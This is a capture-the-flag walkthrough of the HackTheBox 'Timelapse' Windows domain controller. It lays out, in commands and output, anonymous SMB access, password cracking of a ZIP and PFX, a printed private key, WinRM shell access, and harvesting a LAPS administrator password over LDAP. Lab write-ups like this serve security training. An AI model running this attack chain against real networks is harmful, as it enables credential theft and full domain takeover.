Preface
I have been a bit tardy with HackTheBox lately, so I thought I will give this “easy” machine a go.
As it turns out, while the concept of the attack was quite simple and consisted of nothing new, the enumeration wasn’t as easy as I thought it would be and really made me realise I need to up my enumeration game. It’s so very easy to miss simple things like checking for SMB shares accessible with null authentication, or even just checking for open UDP ports.
Reconnaissance
As always, before we start, let’s add the target IP and hostname to our hosts
file:
$ sudo nano /etc/hosts
10.10.11.152 timelapse.htb
We perform a simple port scan to see what services are running on the target.
$ nmap -p- timelapse.htb -Pn | tee ports.nmap
Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.032s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
5986/tcp open wsmans
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49696/tcp open unknown
57139/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 105.12 seconds
We see that the target has quite a lot of services running on it. Ignoring the high port numbers (>40000), let’s get more information about them by performing a script scan (-sC) with version detection enabled (-sV):
$ nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,5986,9389 timelapse.htb -Pn | tee targeted.nmap
Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-10 19:30:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-07-10T19:31:54+00:00; +7h59m58s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-07-10T19:31:15
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m57s, deviation: 0s, median: 7h59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.62 seconds
The target is running DNS, Kerberos, Windows RPC, NetBIOS, LDAP, SMB, and a plethora of other Active Directory related services, which makes me think our target is a domain controller. Curiously, WinRM is also exposed on port 5986, so that could be an entry point for us. SMB message signing is also enabled and required, which means there won’t be any opportunity for SMB relay attacks if we were to discover additional hosts on the network.
Enumeration
LDAP Enumeration
We begin our enumeration by performing a few LDAP search queries. To start off, we query the LDAP server for naming contexts to see if anonymous authentication is allowed:
$ ldapsearch -x -h timelapse.htb -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=timelapse,DC=htb
namingcontexts: CN=Configuration,DC=timelapse,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=timelapse,DC=htb
namingcontexts: DC=DomainDnsZones,DC=timelapse,DC=htb
namingcontexts: DC=ForestDnsZones,DC=timelapse,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Querying for scope subtree instead of baseObject:
$ ldapsearch -x -h timelapse.htb -s sub -b "DC=timelapse,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=timelapse,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
The LDAP server is returning an error and telling us that a successful bind is necessary. It seems that we will need some credentials before we can get any useful information out of LDAP, so let’s move on.
Scanning for UDP ports
After trying to enumerate for information RPC and setting up a zone transfer with DNS, I couldn’t find anything useful and ran into a wall. On recommendation of a friend, I decided to also scan for UDP ports. Scanning all of the ports will take a long time as UDP is a connectionless protocol, so I’ve opted to scan only the common ports:
$ sudo nmap -sU timelapse.htb | tee ports-udp.nmap
Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.030s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
We see that the Network Time Protocol (NTP) is running on the machine, though this isn’t unexpected as our target is a domain controller.
$ sudo nmap -sC -sV -sU -p 53,123,389 timelapse.htb | tee targeted-udp.nmap
Nmap scan report for timelapse.htb (10.10.11.152)
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
123/udp open ntp NTP v3
| ntp-info:
|_
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.92%I=7%D=7/10%Time=62CACB27%P=x86_64-pc-linux-gnu%r(NBTS
SF:tat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAA
SF:AAAAAAA\0\0!\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8h00m07s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.62 seconds
At first, I thought we would have to somehow attack NTP as hinted by the machine name “Timelapse”, however, I wasn’t able to find anything useful other than DDoS amplification attacks and moved on.
SMB Enumeration
Looking at SMB now, let’s use smbclient
to enumerate any open shares with null authentication:
$ smbclient -L timelapse.htb -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to timelapse.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Looks like we received some error with SMB1, but this shouldn’t be cause for alarm. From the share enumeration, we see there is a “Shares” disk that we can read without authentication. Let’s explore further:
$ smbclient //timelapse.htb/Shares -N
> dir
smb: \> dir
. D 0 Tue Oct 26 02:09:15 2021
.. D 0 Tue Oct 26 02:09:15 2021
Dev D 0 Tue Oct 26 06:10:06 2021
HelpDesk D 0 Tue Oct 26 02:18:42 2021
6367231 blocks of size 4096. 2423634 blocks available
There are some development-related files here, let’s mount into the share and copy the files so we can analyse them locally:
$ mkdir smb && sudo mount -t cifs //timelapse.htb/Shares ./smb
$ cp -r ./smb/* .
$ sudo umount ./smb
We find a password-protected ZIP file in the /Dev
folder, we can extract the password hash and try to crack it:
$ zip2john ./Dev/winrm_backup.zip > winrm_backup_zip.hash
With the hash extracted, we see that it’s a PKZIP hash format. We will start cracking it with John the Ripper using the infamous rockyou.txt
dictionary:
$ john ./winrm_backup_zip.hash --wordlist=~/Desktop/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2022-07-10 23:35) 2.702g/s 9387Kp/s 9387Kc/s 9387KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Within less than a second, we cracked the password: supremelegacy
Extracting the ZIP, we have a new .pfx
certificate, presumably used for connecting to the machine via WinRM. However, we can’t simply use the .pfx
file to connect, we must extract the .crt
certificate and .key
private key from it first, and doing so requires the “import key”, which is used to protect the keypair when the .pfx
file was created.
We will once again extract the hash and crack it with John the Ripper:
$ pfx2john ./Dev/legacyy_dev_auth.pfx > dev_auth_pfx.hash
$ john dev_auth_pfx.hash --wordlist=~/Desktop/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (?)
1g 0:00:01:13 DONE (2022-07-10 23:33) 0.01357g/s 43885p/s 43885c/s 43885C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The cracked import password is: thuglegacy
With the password cracked, we can move on to extracting the certificate and private key from the .pfx
file:
$ openssl pkcs12 -in ./Dev/legacyy_dev_auth.pfx -nocerts -out legacy_dev.key
After entering the import password, we enter a new password used to protect the new .key
file. Note that this key does not have to be secure, as we will be decrypting it immediately after anyway. Next, we extract the certificate:
$ openssl pkcs12 -in ./Dev/legacyy_dev_auth.pfx -clcerts -nokeys -out legacy_dev.crt
Bag Attributes
localKeyID: 01 00 00 00
subject=CN = Legacyy
issuer=CN = Legacyy
-----BEGIN CERTIFICATE-----
MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS
MRAwDgYDVQQDDAdMZWdhY3l5MB4XDTIxMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1
MlowEjEQMA4GA1UEAwwHTGVnYWN5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKVWB6NiFkce4vNNI61hcc6LnrNKhyv2ibznhgO7/qocFrg1/zEU/og0
0E2Vha8DEK8ozxpCwem/e2inClD5htFkO7U3HKG9801NFeN0VBX2ciIqSjA63qAb
YX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z
7WCzq2I3VcWg+7XM05hogvd21lprNdwvDoilMlE8kBYa22rIWiaZismoLMJJpa72
MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6giLkcs
yOeu6NGgLHe/plcvQo8IXMMwSosUkfECAwEAAaN4MHYwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AX
DBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR0OBBYEFMzZDuSvIJ6wdSv9gZYe
rC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqa
m966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtlCud9SaPsokSbKNoFgX1KNX5m72F0
3KCLImh1z4ltxsc6JgOgncCqdFfX3t0Ey3R7KGx6reLtvU4FZ+nhvlXTeJ/PAXc/
fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txG
hqbdWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbh
nx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA
-----END CERTIFICATE-----
Finally, we also decrypt the private key:
$ openssl rsa -in legacy_dev.key -out legacy-decrypted.key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEApVYHo2IWRx7i800jrWFxzoues0qHK/aJvOeGA7v+qhwWuDX/
MRT+iDTQTZWFrwMQryjPGkLB6b97aKcKUPmG0WQ7tTccob3zTU0V43RUFfZyIipK
MDreoBthfvTuYFReDwJxz5vmGD8LG6EZGFfEDqcyIujTGYAwia4CElmZlB6k4cmx
Vv+zzpntYLOrYjdVxaD7tczTmGiC93bWWms13C8OiKUyUTyQFhrbashaJpmKyags
wkmlrvYxtKdYSiu5pOsLwUkfEHx1tql/fjWyynoArfv4wGurtlfZbvitzAtjWksz
qCIuRyzI567o0aAsd7+mVy9CjwhcwzBKixSR8QIDAQABAoIBAHNSXmGHuSJCWOp7
k7cLkOYQXNGR2la/z7MDimZwamEc1nwGrcj+a8t1ixWShXxdFvYV8N7QUZFJDjsg
yAFTCsZis4LivgXTCDGS4wGT0lK/YzyRYs3hQgdLEeYL0Xk/X5v4iInWo9eloYnU
BD0Geqn91OqkmxneX/yocql59bVpyxjXcANGQWAUWlEQTqhCBZqR27lmQnYrNtAr
87CwfkPCwpVc+FJJj19UUxZx08SVtAKLPiRzAUbi8Oe/O/AQnYy+g2GIXUeJIi5c
S1W8l6z/uMPHTrq0YMXWEOosi+FJlCH766rvGlHU8pCTlb+sFmsOccR/AN9Z5f4V
redLxEECgYEA2HMEL12ns8MZ87vsyewbXZzegyVbYREPvY6rlVG2VpQCP4NjCrZC
pJA/a1mQCurty8BpgwwlK3B0AQ9Ie7cpMDfSUyYbl5JIktXktwYgLpjK5yhTPsD6
HV4tfuMCZN2E1ijyi16O9Smy6PuTSdi1Jr7zw8iE0I7KGaBsSw2byxcCgYEAw4wO
2B0Pkt8GJPtdavTOYkUfWwV0m1GY2vC1XnFuRQx+Ik6loO8atLmJy2dNZiLMIope
d/uUXIeaKQ8xUmh3ktlzT3/2P/051dfoCG9wCAnEwG+GwJ4Gruc5ulUjaWF1I04b
6y796aF3sxbQlixASq1jsVkT+CXoCGZw9QX5kDcCgYBCWD7YJeTZfNvfkaKq4ewh
bYvmtvSjdA9XEvwU8M7rCsMFpMge6G7U8kH+LZ2xOwFYisnMmVRrVDS6fmzBPwso
9HNLeUrL0tLb7yQD1aTXo43N/NZHTe9cQRnA4uRA9oVY/4QYpAs9qmJkd3hWEk60
aaNeR4AuTRY1dK688pbmUQKBgC+7N0BfT5bdI4XRaYsa+GmaT74LBdyHvVTr3omQ
DIeENiGvqtQuqQkmJNFmhMkCg2uG9Oo6mYtAeku9bp+b6lwJAhGMvZH/AKgHDJdK
hEEiCUmjr3PC3wTAYiHueDdX15zniv8MOGRXyn0He6C8anEQA76dbLdsoUezoazd
aX5fAoGBALCTY2/C3aEmSiWXNPxf63NoBRSvjDJxZ3DO+dsaRLW1K7RFCwCpIVTI
epgMsCFFmmL6ZmxwzDwyBqle2rdvl007vn4oiZAK/nk2v0oN6ixDmIFNHEoFrmSN
Ipt2m2w7RpUbdloGtPyIMPRMM7qXPAOWWbyPhrB4ZtDmm+zxFpUW
-----END RSA PRIVATE KEY-----
Exploitation
With the certificate and key obtained, we can gain shell access using evil-winrm
. Note that SSL must be enabled using the -S
option, and we will supply our certificate with -c
and key with -k
as so:
$ evil-winrm -S -c ./legacy_dev.crt -k ./legacy_dev-decrypted.key -i timelapse.htb
Boom, we get a shell as the user legacyy
:
Evil-WinRM shell v3.3
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> _
First thing to do when we gain new access, is to check for privileges:
> whoami /all
USER INFORMATION
----------------
User Name SID
================= ============================================
timelapse\legacyy S-1-5-21-671920749-559770252-3318990721-1603
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development Group S-1-5-21-671920749-559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
...
And of course, we can get the user flag!
> type ../Desktop/user.txt
Privilege Escalation
To start our enumeration on the legacyy
user, we will be using winPEAS. Let’s transfer the batch file with the upload module on evil-winrm
:
> upload ~/Desktop/HTB/Common/winPEAS.bat
Then, we run winPEAS with stderr
(file descriptor 2) redirecting to null, similar to 2>/dev/null
on Linux:
> .\winPEAS.bat 2>$null
PS default transcript history
Checking PS history file
Volume in drive C has no label.
Volume Serial Number is 22CC-AE66
Directory of C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
03/04/2022 12:46 AM 434 ConsoleHost_history.txt
1 File(s) 434 bytes
0 Dir(s) 10,013,052,928 bytes free
[i] Maybe you find something interesting
We see that PowerShell history logging is enabled, let’s download that file and analyse it locally:
> download C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
Great! The legacyy
user entered the credentials for the svc_deploy
user while creating a PS SecureString, and it was logged in the history file. We have obtained the new credentials: svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
With the new password-based access, we can now perform an LDAP search to enumerate for more information:
$ ldapsearch -x -h timelapse.htb -D 'svc_deploy' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b "DC=timelapse,DC=htb"
This returned a lot of information, which will take some time to go through. Checking for the svc_deploy
user’s group memberships, we find that it’s a member of the LAPS_Readers
group, meaning it is able to read the LAPS local administrator password:
> net user svc_deploy
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
Knowing this, we can filter for the LAPS password when making the LDAP query:
$ ldapsearch -x -h timelapse.htb -D 'svc_deploy' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b "DC=timelapse,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# DC01, Domain Controllers, timelapse.htb
dn: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
ms-Mcs-AdmPwd: }-%o9e8]&333-n+(VEi30J-}
We find the LAPS local administrator password under the domain controller: }-%o9e8]&333-n+(VEi30J-}
Now, all that’s left is to remote in as the administrator:
$ evil-winrm -u 'Administrator' -p '}-%o9e8]&333-n+(VEi30J-}' -i timelapse.htb -S
And we can get the root flag!
Resources
- Extracting the certificate and keys from a .pfx file - https://www.ibm.com/docs/en/arl/9.7?topic=certification-extracting-certificate-keys-from-pfx-file
- Enumerating AD users with LDAP - https://vk9-sec.com/enumerating-ad-users-with-ldap/
- Dump LAPS password with ldapsearch - https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/